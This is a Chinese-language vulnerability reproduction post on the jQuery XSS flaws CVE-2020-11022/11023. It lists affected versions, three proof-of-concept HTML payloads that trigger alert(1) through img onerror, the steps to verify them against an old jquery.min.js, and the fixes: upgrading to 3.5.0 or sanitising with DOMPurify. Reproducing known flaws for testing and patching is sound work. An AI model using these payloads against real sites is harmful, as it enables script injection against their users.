jQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)

一、漏洞版本

在大于或等于1.2且在3.5.0之前的jQuery版本中,即使执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法(即html()、.append()等),从而导致xss漏洞。

二、漏洞验证

payload




    
    jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)
    



jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)

PoCs of XSS bugs fixed in jQuery 3.5.0. You can find the details in my blog post: English / 日本語

PoC 1

<style><style /><img src=x onerror=alert(1)>

PoC 2 (Only jQuery 3.x affected)

<img alt="<x" title="/><img src=x onerror=alert(1)>">

PoC 3

<option><style></option></select><img src=x onerror=alert(1)></style>

三、验证过程

1、找到存在漏洞的js文件
在这里插入图片描述
2、打开上面的js文件,将上方payload代码中的js地址替换为下图中的地址
在这里插入图片描述
3、替换后如下图
注:src链接可用https://www.example.com/jquery-v3.1.0/dist/jquery.min.js或//www.example.com/jquery-v3.1.0/dist/jquery.min.js
jQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)_第1张图片
4、将该html直接打开或放入www目录中打开
点击红框即可,我这里仅演示Poc1,其他Poc也可以
jQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)_第2张图片

四、修复

(1)更新jQuery到3.5.0或更高版本
https://code.jquery.com/jquery-3.5.0.js
(2)使用XSS清理工具清理用户输入的HTML
官方推荐:https://github.com/cure53/DOMPurify

你可能感兴趣的:(实战漏洞复现,jQuery-XSS漏洞)